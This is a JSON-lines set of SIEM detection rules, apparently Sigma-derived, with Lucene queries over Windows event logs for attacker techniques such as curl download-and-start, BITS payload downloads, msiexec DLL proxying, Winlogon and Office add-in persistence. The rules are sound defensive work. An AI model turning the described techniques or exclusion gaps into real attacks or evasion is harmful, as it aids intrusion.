{"description": "Administrative shares are hidden network shares created by Microsoft\u2019s Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1c3ed132-2282-97ed-1fe7-a78b8adbd47d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Administrative Share Creation at Startup", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters\\\\* AND winlog.event_data.TargetObject:(*AutoShareWks OR *AutoShareServer) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "25744b04-a37c-ff63-dad5-c63793a365bd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "GatherNetworkInfo.vbs Script Usage", "query": "(process.command_line:*cscript.exe* AND process.command_line:*gatherNetworkInfo.vbs*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["blueteamer8699"], "license": ""}
{"description": "Adversaries can abuse wuauclt.exe (Windows Update client) to run code execution by specifying an arbitrary DLL.", "enabled": false, "false_positives": ["Wuaueng.dll which is a module belonging to Microsoft Windows Update."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7386957d-1ceb-497a-1463-7daef946947a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Monitoring Wuauclt.exe For Lolbas Execution Of DLL", "query": "((process.command_line:*wuauclt.exe* AND process.command_line:*\\/UpdateDeploymentProvider* AND process.command_line:*\\/Runhandlercomserver*) AND (NOT (process.command_line:(*wuaueng.dll* OR *UpdateDeploymentProvider.dll\\ \\/ClassId*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", "enabled": false, "false_positives": ["This may have false positives on hosts where Virtualbox is legitimately being used for operations"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "09a870bb-24e6-99ae-4b64-eb57f9e3b0d2", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Detect Virtualbox Driver Installation OR Starting Of VMs", "query": "(process.command_line:(*VBoxRT.dll,RTR3Init* OR *VBoxC.dll* OR *VBoxDrv.sys*) OR process.command_line:(*startvm* OR *controlvm*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1564", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}, {"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Janantha Marasinghe"], "license": ""}
{"description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", "enabled": false, "false_positives": ["Scripts created by developers and admins", "Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "542b59a0-e79d-8885-791e-825479c51a65", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Recursif Takeown", "query": "(process.executable:*\\\\takeown.exe AND process.command_line:*\\/f\\ * AND process.command_line:*\\/r*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1222"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", "enabled": false, "false_positives": ["Administrative scripts (installers)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d5d4daa3-13b6-21fb-f095-196e821751f2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Curl Start Combination", "query": "((process.executable:*\\\\curl.exe OR Product:\"The\\ curl\\ executable\") AND process.command_line:(*\\ start\\ * OR *&call\\ * OR *&\\ call\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105", "T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack", "enabled": false, "false_positives": ["System administrator Usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "29214a41-02eb-4068-26f6-8f882b744b23", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cabinet File Expansion", "query": "((process.executable.text:*\\\\expand.exe AND process.command_line.text:(*.cab* OR *\\/F\\:* OR *\\-F\\:* OR *C\\:\\\\ProgramData\\\\* OR *C\\:\\\\Public\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\AppData\\\\Roaming\\\\Temp\\\\*)) AND (NOT ((process.parent.executable.text:\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Dell\\\\UpdateService\\\\ServiceShell.exe\" AND process.command_line.text:*C\\:\\\\ProgramData\\\\Dell\\\\UpdateService\\\\Temp\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "65ddcdf9-54d1-d0a6-42a2-169bdc76bc7c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Netsh Allow Group Policy on Microsoft Defender Firewall", "query": "(process.executable:*\\\\netsh.exe AND process.command_line:*advfirewall* AND process.command_line:*firewall* AND process.command_line:*set* AND process.command_line:*rule* AND process.command_line:*group\\=* AND process.command_line:*new* AND process.command_line:*enable\\=Yes*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model]()\n", "author": ["frack113"], "enabled": false, "false_positives": ["Administrator PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9f2a5e04-f2af-c9b5-caa6-24cff46dca71", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Download File Extension with BITS", "query": "((winlog.event_id:\"16403\" AND LocalName:(*.bat OR *.dll OR *.exe OR *.ps1 OR *.vbe OR *.vbs)) AND (NOT (LocalName:*\\\\AppData\\\\* AND RemoteName:*.com*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model]()\n", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Administrator PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0b26fde9-69b0-c4bf-bcc0-01cbf65676f9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Download with BITS to Suspicious Folder", "query": "(winlog.event_id:\"16403\" AND LocalName:(*C\\:\\\\Users\\\\Public\\\\* OR *%public%* OR *\\\\Desktop\\\\* OR *C\\:\\\\PerfLogs\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model]()\n", "enabled": false, "false_positives": ["Administrator PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "62064ae8-cc80-285b-44cc-510422d16ad9", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Task Added by Powershell", "query": "(winlog.event_id:\"3\" AND processPath:(*\\\\powershell.exe OR *\\\\pwsh.exe))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model]()\n", "enabled": false, "false_positives": ["Administrator PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc0a88c9-bebf-78ad-0991-81cafb300c48", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Task Added by Bitsadmin", "query": "(winlog.event_id:\"3\" AND processPath:*\\\\bitsadmin.exe)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5fd2d4ba-29e9-03ce-2f17-c02c034e6556", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Invoke-Item From Mount-DiskImage", "query": "(powershell.file.script_block_text:*Mount\\-DiskImage\\ * AND powershell.file.script_block_text:*\\-ImagePath\\ * AND powershell.file.script_block_text:*Get\\-Volume* AND powershell.file.script_block_text:*.DriveLetter* AND powershell.file.script_block_text:*invoke\\-item\\ * AND powershell.file.script_block_text:*\\)\\:\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "21404d48-6376-5c53-b4d0-036d4468e92a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Mount-DiskImage", "query": "(powershell.file.script_block_text:*Mount\\-DiskImage\\ * AND powershell.file.script_block_text:*\\-ImagePath\\ *)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bbf180f9-cc58-d034-0800-0b68b4eff046", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Winlogon Notify Key Logon Persistence", "query": "(winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\logon AND winlog.event_data.Details:*.dll AND winlog.event_data.EventType:\"SetValue\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8e501198-ed35-7d73-dc6d-46ed6222c3ea", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Code Executed Via Office Add-in XLL File", "query": "(powershell.file.script_block_text:*new\\-object\\ * AND powershell.file.script_block_text:*\\-ComObject\\ * AND powershell.file.script_block_text:*.application* AND powershell.file.script_block_text:*.RegisterXLL*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "enabled": false, "false_positives": ["Legitimate msiexec over networks"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e80f3c4d-d9cc-fdce-d780-72b2f4c0bee7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Msiexec Initiated Connection", "query": "(winlog.event_data.Initiated:\"true\" AND process.executable:*\\\\msiexec.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3498ba2a-d8e0-2bae-d923-c87800372b92", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Msiexec Execute Arbitrary DLL", "query": "((process.executable.text:*\\\\msiexec.exe AND process.command_line.text:(*\\ \\/y* OR *\\ \\-y*)) AND (NOT ((process.command_line.text:(*\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\\\Bonjour\\\\mdnsNSP.dll* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Bonjour\\\\mdnsNSP.dll* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Apple\\ Software\\ Update\\\\ScriptingObjectModel.dll* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Apple\\ Software\\ Update\\\\SoftwareUpdateAdmin.dll* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Windows\\\\CCM\\\\* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ C\\:\\\\Windows\\\\CCM\\\\*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f5ab9dd8-3500-6ac6-4561-87655dc446a0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Msiexec Quiet Install", "query": "(((process.executable.text:*\\\\msiexec.exe OR winlog.event_data.OriginalFileName:\"msiexec.exe\") AND process.command_line.text:(*\\/i* OR *\\-i* OR *\\/package* OR *\\-package* OR *\\/a* OR *\\-a* OR *\\/j* OR *\\-j*) AND process.command_line.text:(*\\/q* OR *\\-q*)) AND (NOT ((process.parent.executable.text:C\\:\\\\Users\\\\* AND process.parent.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\*) OR (process.parent.executable.text:C\\:\\\\Windows\\\\Temp\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ba24f92d-12c5-c703-d314-995c978c7e56", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious MsiExec Embedding Parent", "query": "((process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\cmd.exe) AND process.parent.command_line:*MsiExec.exe* AND process.parent.command_line:*\\-Embedding\\ *) AND (NOT ((process.executable:*\\:\\\\Windows\\\\System32\\\\cmd.exe AND process.command_line:*C\\:\\\\Program\\ Files\\\\SplunkUniversalForwarder\\\\bin\\\\*) OR (process.command_line:*\\\\DismFoDInstall.cmd* OR process.parent.command_line:*\\\\MsiExec.exe\\ \\-Embedding\\ * AND process.parent.command_line:*Global\\\\MSI0000*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5b0098e0-76dd-3912-95fd-772b31e1a16d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell MsXml COM Object", "query": "(powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*\\-ComObject* AND powershell.file.script_block_text:*MsXml2.* AND powershell.file.script_block_text:*XmlHttp*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "(v=vs.85)", ""], "timestamp_override": "event.ingested", "author": ["frack113", "MatilJ"], "license": ""}
{"description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "364ebd9c-11d1-c4a2-d115-ffc8d1562a18", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell XML Execute Command", "query": "(powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*System.Xml.XmlDocument* AND powershell.file.script_block_text:*.Load* AND powershell.file.script_block_text:(*IEX\\ * OR *Invoke\\-Expression\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c3f238b9-358c-e007-b717-e7e5e916878c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Remote Session Creation", "query": "(powershell.file.script_block_text:*New\\-PSSession* AND powershell.file.script_block_text:*\\-ComputerName\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd]()) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", "enabled": false, "false_positives": ["Legitimate administration script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d29b20d3-2faf-62f5-cfda-ce27b6975d34", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Execute Batch Script", "query": "(powershell.file.script_block_text:*Start\\-Process* AND powershell.file.script_block_text:(*.cmd* OR *.bat*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f898db39-3c98-8c9d-c890-9a26f3ede824", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Create Scheduled Task", "query": "(powershell.file.script_block_text:(*New\\-ScheduledTaskAction* OR *New\\-ScheduledTaskTrigger* OR *New\\-ScheduledTaskPrincipal* OR *New\\-ScheduledTaskSettingsSet* OR *New\\-ScheduledTask* OR *Register\\-ScheduledTask*) OR (powershell.file.script_block_text:*Invoke\\-CimMethod* AND powershell.file.script_block_text:*\\-ClassName* AND powershell.file.script_block_text:*PS_ScheduledTask* AND powershell.file.script_block_text:*\\-NameSpace* AND powershell.file.script_block_text:*Root\\\\Microsoft\\\\Windows\\\\TaskScheduler*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may abuse Visual Basic (VB) for execution", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9220f845-2578-8cfa-e81d-1759e271398d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cscript Visual Basic Script Execution", "query": "(process.executable:*\\\\cscript.exe AND process.command_line:*.vbs*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
